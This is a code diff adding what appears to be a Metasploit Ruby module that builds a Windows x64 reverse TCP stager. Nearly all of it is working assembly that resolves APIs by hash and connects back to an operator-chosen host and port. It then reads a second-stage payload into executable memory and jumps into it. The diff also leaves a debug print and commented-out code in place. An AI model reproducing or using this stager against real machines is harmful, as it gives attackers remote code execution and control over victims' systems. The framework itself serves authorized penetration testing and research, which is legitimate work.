|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +require 'msf/core' |
| 4 | +require 'msf/core/payload/windows/x64/block_api' |
| 5 | +require 'msf/core/payload/windows/x64/exitfunk' |
| 6 | + |
| 7 | +module Msf |
| 8 | + |
| 9 | +### |
| 10 | +# |
| 11 | +# Complex reverse_tcp payload generation for Windows ARCH_X86_64 |
| 12 | +# |
| 13 | +### |
| 14 | + |
| 15 | +module Payload::Windows::ReverseTcp_x64 |
| 16 | + |
| 17 | + include Msf::Payload::Windows |
| 18 | + include Msf::Payload::Windows::BlockApi_x64 |
| 19 | + include Msf::Payload::Windows::Exitfunk_x64 |
| 20 | + |
| 21 | + # |
| 22 | + # Register reverse_tcp specific options |
| 23 | + # |
| 24 | + def initialize(*args) |
| 25 | + super |
| 26 | + end |
| 27 | + |
| 28 | + # |
| 29 | + # Generate the first stage |
| 30 | + # |
| 31 | + def generate |
| 32 | + # Generate the simple version of this stager if we don't have enough space |
| 33 | + #if self.available_space.nil? || required_space > self.available_space |
| 34 | + # return generate_reverse_tcp( |
| 35 | + # port: datastore['LPORT'], |
| 36 | + # host: datastore['LHOST'], |
| 37 | + # retry_count: datastore['ReverseConnectRetries'], |
| 38 | + # ) |
| 39 | + #end |
| 40 | + |
| 41 | + conf = { |
| 42 | + host: datastore['LHOST'], |
| 43 | + port: datastore['LPORT'], |
| 44 | + retry_count: datastore['ReverseConnectRetries'], |
| 45 | + exitfunk: datastore['EXITFUNC'], |
| 46 | + reliable: true |
| 47 | + } |
| 48 | + |
| 49 | + generate_reverse_tcp(conf) |
| 50 | + end |
| 51 | + |
| 52 | + # |
| 53 | + # Generate and compile the stager |
| 54 | + # |
| 55 | + def generate_reverse_tcp(opts={}) |
| 56 | + combined_asm = %Q^ |
| 57 | + cld ; Clear the direction flag. |
| 58 | + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned |
| 59 | + call start ; Call start, this pushes the address of 'api_call' onto the stack. |
| 60 | + #{asm_block_api} |
| 61 | + start: |
| 62 | + pop rbp |
| 63 | + #{asm_reverse_tcp(opts)} |
| 64 | + ^ |
| 65 | + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string |
| 66 | + end |
| 67 | + |
| 68 | + # |
| 69 | + # Determine the maximum amount of space required for the features requested |
| 70 | + # |
| 71 | + def required_space |
| 72 | + # Start with our cached default generated size |
| 73 | + space = cached_size |
| 74 | + |
| 75 | + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) |
| 76 | + space += 31 |
| 77 | + |
| 78 | + # Reliability adds 10 bytes for recv error checks |
| 79 | + space += 10 |
| 80 | + |
| 81 | + # The final estimated size |
| 82 | + space |
| 83 | + end |
| 84 | + |
| 85 | + # |
| 86 | + # Generate an assembly stub with the configured feature set and options. |
| 87 | + # |
| 88 | + # @option opts [Fixnum] :port The port to connect to |
| 89 | + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh |
| 90 | + # @option opts [Bool] :reliable Whether or not to enable error handling code |
| 91 | + # |
| 92 | + def asm_reverse_tcp(opts={}) |
| 93 | + |
| 94 | + #retry_count = [opts[:retry_count].to_i, 1].max |
| 95 | + # TODO: reliable = opts[:reliable] |
| 96 | + encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first |
| 97 | + encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first |
| 98 | + encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port] |
| 99 | + STDERR.puts("#{encoded_host_port}\n") |
| 100 | + |
| 101 | + asm = %Q^ |
| 102 | + reverse_tcp: |
| 103 | + ; setup the structures we need on the stack... |
| 104 | + mov r14, 'ws2_32' |
| 105 | + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. |
| 106 | + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. |
| 107 | + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData |
| 108 | + ; structure (+8 for alignment) |
| 109 | + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. |
| 110 | + mov r12, #{encoded_host_port} |
| 111 | + push r12 ; host, family AF_INET and port |
| 112 | + mov r12, rsp ; save pointer to sockaddr struct for connect call |
| 113 | + ; perform the call to LoadLibraryA... |
| 114 | + mov rcx, r14 ; set the param for the library to load |
| 115 | + mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) |
| 116 | + call rbp ; LoadLibraryA( "ws2_32" ) |
| 117 | + ; perform the call to WSAStartup... |
| 118 | + mov rdx, r13 ; second param is a pointer to this stuct |
| 119 | + push 0x0101 ; |
| 120 | + pop rcx ; set the param for the version requested |
| 121 | + mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) |
| 122 | + call rbp ; WSAStartup( 0x0101, &WSAData ); |
| 123 | + ; perform the call to WSASocketA... |
| 124 | + push rax ; if we succeed, rax wil be zero, push zero for the flags param. |
| 125 | + push rax ; push null for reserved parameter |
| 126 | + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure |
| 127 | + xor r8, r8 ; we do not specify a protocol |
| 128 | + inc rax ; |
| 129 | + mov rdx, rax ; push SOCK_STREAM |
| 130 | + inc rax ; |
| 131 | + mov rcx, rax ; push AF_INET |
| 132 | + mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) |
| 133 | + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); |
| 134 | + mov rdi, rax ; save the socket for later |
| 135 | + ; perform the call to connect... |
| 136 | + push 16 ; length of the sockaddr struct |
| 137 | + pop r8 ; pop off the third param |
| 138 | + mov rdx, r12 ; set second param to pointer to sockaddr struct |
| 139 | + mov rcx, rdi ; the socket |
| 140 | + mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) |
| 141 | + call rbp ; connect( s, &sockaddr, 16 ); |
| 142 | + ; restore RSP so we dont have any alignment issues with the next block... |
| 143 | + add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations |
| 144 | +
|
| 145 | + recv: |
| 146 | + ; Receive the size of the incoming second stage... |
| 147 | + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length |
| 148 | + mov rdx, rsp ; set pointer to this buffer |
| 149 | + xor r9, r9 ; flags |
| 150 | + push 4 ; |
| 151 | + pop r8 ; length = sizeof( DWORD ); |
| 152 | + mov rcx, rdi ; the saved socket |
| 153 | + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) |
| 154 | + call rbp ; recv( s, &dwLength, 4, 0 ); |
| 155 | + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next |
| 156 | + ; Alloc a RWX buffer for the second stage |
| 157 | + pop rsi ; pop off the second stage length |
| 158 | + push 0x40 ; |
| 159 | + pop r9 ; PAGE_EXECUTE_READWRITE |
| 160 | + push 0x1000 ; |
| 161 | + pop r8 ; MEM_COMMIT |
| 162 | + mov rdx, rsi ; the newly recieved second stage length. |
| 163 | + xor rcx, rcx ; NULL as we dont care where the allocation is. |
| 164 | + mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 165 | + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
| 166 | + ; Receive the second stage and execute it... |
| 167 | + mov rbx, rax ; rbx = our new memory address for the new stage |
| 168 | + mov r15, rax ; save the address so we can jump into it later |
| 169 | + read_more: ; |
| 170 | + xor r9, r9 ; flags |
| 171 | + mov r8, rsi ; length |
| 172 | + mov rdx, rbx ; the current address into our second stages RWX buffer |
| 173 | + mov rcx, rdi ; the saved socket |
| 174 | + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) |
| 175 | + call rbp ; recv( s, buffer, length, 0 ); |
| 176 | + add rbx, rax ; buffer += bytes_received |
| 177 | + sub rsi, rax ; length -= bytes_received |
| 178 | + test rsi, rsi ; test length |
| 179 | + jnz read_more ; continue if we have more to read |
| 180 | + jmp r15 ; return into the second stage |
| 181 | + ^ |
| 182 | + |
| 183 | + if opts[:exitfunk] |
| 184 | + asm << asm_exitfunk(opts) |
| 185 | + end |
| 186 | + |
| 187 | + asm |
| 188 | + end |
| 189 | + |
| 190 | +end |
| 191 | + |
| 192 | +end |
0 commit comments